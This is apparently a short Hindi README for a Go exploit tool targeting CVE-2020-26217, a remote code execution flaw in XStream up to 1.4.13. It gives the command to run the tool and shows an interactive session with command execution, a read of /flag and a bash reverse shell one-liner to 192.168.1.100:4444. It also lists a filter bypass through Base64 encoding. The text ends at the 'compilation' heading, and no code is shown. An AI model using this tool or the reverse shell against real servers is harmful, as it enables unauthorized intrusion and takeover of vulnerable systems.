CVE-2020-26217 XStream RCE Exploit

XStream रिमोट कोड एक्सीक्यूशन शोषण उपकरण।

भेद्यता विवरण

CVE-2020-26217 XStream लाइब्रेरी में एक डी-सीरियलाइज़ेशन भेद्यता है, जिसके माध्यम से हमलावर दुर्भावनापूर्ण XML डेटा बनाकर रिमोट कोड एक्सीक्यूशन को ट्रिगर कर सकते हैं।

प्रभावित संस्करण: XStream <= 1.4.13

उपयोग विधि

go run poc.go <लक्ष्य URL>

उदाहरण

# उपकरण चलाएं
go run poc.go http://target.com:8080/?data

# इंटरैक्टिव मोड में प्रवेश करने के बाद कमांड दर्ज करें
cmd> whoami
cmd> cat /flag
cmd> bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
cmd> exit

कार्य विशेषताएँ

• इंटरैक्टिव कमांड निष्पादन
• URL पैरामीटर नाम का स्वचालित पार्सिंग
• विशेष वर्ण फ़िल्टरिंग को बायपास करने के लिए Base64 एन्कोडिंग
• HTTPS समर्थन (प्रमाणपत्र सत्यापन छोड़ें)

संकलन